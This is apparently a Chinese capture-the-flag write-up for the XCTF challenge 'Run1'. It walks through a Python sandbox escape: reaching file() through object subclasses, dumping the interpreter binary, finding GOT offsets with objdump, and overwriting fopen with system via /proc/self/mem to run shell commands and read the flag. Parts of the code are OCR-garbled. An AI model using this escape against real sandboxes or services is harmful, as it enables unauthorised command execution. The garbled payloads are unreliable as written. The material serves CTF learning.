Run1 攻防世界



题目描述

Run away! nc **.**.** XXXX

解题

python 沙箱逃逸,通过基类中的 file ,抓取 python 的elf文件,通过 /proc 修改GOT表,劫持 file --> system 从而 getshell

· Step 1

上来一通 fuzz 之后,发现七七八八的全部被 ban ,而通过 () 基类中的 file 可以进行文件读取

Step 2

linux proc文件系统(http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/ proc.html)

通过 ('/usr/bin/python','r').read() 把 python 进程dump下来

Python

```
1 sh echo "print ().__class__._bases__[0].__subclasses__()[40]
   ('/usr/bin/python','r').read()"|nc 127.0.0.1 9999 > python
```

· Step 3

修复下 dump 下来的elf文件,objdump分析下

Python

1 objdump -R pyhton|grep -E "system|fopen" 00000000008de2b8 R_X86_64_JUMP_SLOT system@GLIBC_2.2.5 00000000008de8c8 R_X86_64_JUMP_SLOT fopen64@GLIBC_2.2.5

```
Python
 1
 2
    \Rightarrow > (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8))
 3 or (). **class**. **bases** [0]. **subclasses** ()[40]( "l'+'s"))(().
    **class**. **bases** [0]. **subclasses** ()[40]( "/proc/self/mem', 'r"),().
 5 **class**. **bases** [0]. **subclasses** ()[40]( "/proc/self/mem', 'w', 0\)\)
 6
 7
    5c72a1d444cf3121a5d25f2db4147ebb
 8
    bin
 9
10
11
    cpython.py
12
13
    cpython.pyc
14
15
     sandbox.py
16
17
     \( \text{lambda r,w:r.seek} \( 0 \times 0 \times 0 \times 2 \times 1 ) \text{ or w.seek} \( 0 \times 0 \times 0 \times 0 \times 2 \times 1 ) \text{ or } 
    w.write(r.read(8)) or
18
     \(\)._class_.__bases_.\[0\].__subclasses_.\(\)\[40\]\('c'+'at)
19
    5c72a1d444cf3121a5d25f2db4147ebb"))((). **class**. **bases** [0].
20
    **subclasses** ()[40]( "/proc/self/mem', 'r"),(). **class**. **bases** [0].
21
22
     **subclasses** ()[40]('/proc/self/mem', 'w', 0))
    flag{eee93c33d97aa55f785a7d10ba4ae3ce} unknow error,try again :> ```
23
24
25
    ## **[Summary]**
```